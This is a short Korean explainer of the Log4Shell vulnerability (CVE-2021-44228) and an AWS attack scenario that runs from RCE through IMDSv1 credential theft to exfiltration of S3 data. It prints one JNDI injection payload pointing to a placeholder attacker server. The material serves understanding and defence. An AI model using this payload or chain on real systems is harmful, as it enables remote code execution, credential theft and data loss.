CVE-2021-44228은 흔히 Log4Shell 이라고 불리는, 2021년 12월에 공개된 Apache Log4j 2 라이브러리의 심각한 원격 코드 실행(RCE) 취약점이다.
Log4j는 로그 메시지를 기록할 때 ${} 형태의 문자열을 특수하게 해석하는 “Lookup” 기능을 지원한다. 이 중 ${jndi:…} 구문을 만나면 JNDI를 통해 외부 서버(LDAP, RMI 등)에 접속해 데이터를 가져오도록 설계되어 있다. 공격자는 로그로 기록될 만한 입력 값에 다음과 같은 문자열을 삽입한다.
${jndi:ldap://공격자서버.com/악성클래스}
애플리케이션이 이 문자열을 로그로 남기는 순간, Log4j가 이를 파싱해 공격자가 지정한 서버로 접속하고, 그 서버가 반환 되는 자바 클래스를 로드하고 실행하게 된다. 결과적으로 공격자는 대상 서버에서 임의 코드를 실행할 수 있다.
외부 공격자는 포트 스캐닝을 통해 동작 중인 EC2 인스턴스의 퍼블릭 IP를 식별하고 8080 포트가 열려있는 것을 확인했다. 이를 기반으로 포트에 노출된 애플리케이션의 Log4Shell(CVE-2021-44228) 취약점을 이용해 RCE 취약점을 사용해 침투하고, EC2 내 IMDSv1 를 악용해 IAM 임시 자격증명을 탈취한 뒤 S3 버킷에 저장된 민감 데이터를 외부로 유출하였다.
AWS IAM, EC2, S3 Bucket